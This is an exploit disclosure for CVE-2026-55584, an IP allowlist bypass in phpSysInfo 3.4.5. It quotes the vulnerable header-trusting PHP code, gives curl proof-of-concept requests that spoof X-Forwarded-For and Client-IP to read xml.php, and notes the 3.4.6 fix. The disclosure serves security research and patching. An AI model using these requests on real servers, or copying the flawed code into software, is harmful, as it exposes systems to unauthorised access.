phpSysInfo 3.4.5 – IP Allowlist Bypass
# Exploit Title: phpSysInfo 3.4.5 - IP Allowlist Bypass # Google Dork: N/A # Date: 2026-07-11 # Exploit Author: Muhammed Mirac Kayikci # Vendor Homepage: https://phpsysinfo.github.io/phpsysinfo/ # Software Link: https://github.com/phpsysinfo/phpsysinfo/archive/refs/tags/v3.4.5.tar.gz # Version: <= 3.4.5 # Tested on: Linux (Apache/PHP) # CVE : CVE-2026-55584 References: ----------- GHSA: https://github.com/phpsysinfo/phpsysinfo/security/advisories/GHSA-786w-p5pm-cvgh CVE: https://www.cve.org/CVERecord?id=CVE-2026-55584 Description: ------------ phpSysInfo's PSI_ALLOWED IP allowlist resolves the client IP from the attacker-controlled "X-Forwarded-For" (then "Client-IP") request headers before falling back to REMOTE_ADDR. There is no trusted-proxy concept, so an attacker can spoof an allowed IP address, defeat the allowlist, and read full system information exposed via xml.php. Vulnerable code (read_config.php): ---------------------------------- if (isset($_SERVER["HTTP_X_FORWARDED_FOR"])) { $ip = $_SERVER["HTTP_X_FORWARDED_FOR"]; } elseif (isset($_SERVER["HTTP_CLIENT_IP"])) { $ip = $_SERVER["HTTP_CLIENT_IP"]; } else { $ip = $_SERVER["REMOTE_ADDR"]; // only trustworthy source, checked last } Proof of Concept: ----------------- # Allowlist set to an address the attacker does not own (ALLOWED=8.8.8.8) # 1) Baseline - request is blocked: curl -s http://target/xml.php # -> "Client IP address (...) not allowed." # 2) Bypass via X-Forwarded-For - returns full system XML: curl -s -H "X-Forwarded-For: 8.8.8.8" http://target/xml.php # 3) Bypass via Client-IP - returns full system XML: curl -s -H "Client-IP: 8.8.8.8" http://target/xml.php Fix: ---- Fixed in 3.4.6 (commit 019fa2d): default to REMOTE_ADDR; honor X-Forwarded-For / Client-IP only from configured trusted proxies. |